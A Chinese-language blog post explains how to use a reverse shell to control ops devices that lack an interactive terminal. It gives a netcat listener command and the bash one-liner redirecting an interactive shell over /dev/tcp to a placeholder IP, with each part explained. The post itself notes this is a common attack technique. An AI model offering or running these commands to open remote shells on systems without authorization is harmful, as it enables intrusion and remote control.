反向 shell 在运维工作中的打开姿势

有些设备可能没有显示终端,或者无法直接进行交互,只能执行写好的非交互式脚本。此时,我们就可以尝试利用反向shell来实现对这台设备的交互控制。

本文仅为特定的运维场景提供一种解决思路,无不良引导,请勿用于非法用途。

控制端

首先需要在主控机器上开启一个监听端口且能够重定向客户端输入输出的服务(本文约定其 IP 地址为 1.2.3.4,端口为 6996)。我们可以使用 netcat(通常缩写为 nc)来做这个事情,命令如下:

nc -lvp 6996

当在主控机器上运行这个命令后,如果有客户机运行了下文提到的反向 shell 命令,就会在这个 netcat 会话中看到一个 bash shell,可以在其中运行命令。nc -lvp 6996 参数含义如下:

  • nc:netcat 的缩写,是一个用于处理网络连接的强大工具。
  • -l:告诉 netcat 要在指定端口监听连接,而不是去连接一个远程服务器。
  • -v:表示 verbose 模式,让 netcat 输出更多信息,帮助你理解发生了什么。
  • -p:指定要监听的端口号。
  • 6996:要监听的端口号。

被控端

在需要被控制的设备上运行如下命令(请注意替换1.2.3.4为正确的控制机 IP 地址):

/bin/bash -i >& /dev/tcp/1.2.3.4/6996 0>&1

这个命令通常用于创建一个反向 shell,允许远程用户通过 TCP 连接控制 bash shell。实际上这也是一种常见的网络攻击手段,因此在正常的开发或运维工作中应当避免使用这种命令。其工作原理如下:

  • /bin/bash -i:启动一个交互式的 bash shell。
  • >& /dev/tcp/1.2.3.4/6996:将 bash shell 的输出重定向到 TCP 连接,这个连接的目标是 IP 地址 1.2.3.4,端口号 6996。
  • 0>&1:将标准输入(文件描述符 0)重定向到标准输出(文件描述符 1),这样,通过 TCP 连接发送过来的任何数据都会被 bash shell 读取并执行。
文章作者: 若海; 原文链接: https://www.rehiy.com/post/561/; 转载需声明来自技术写真 - 若海

添加新评论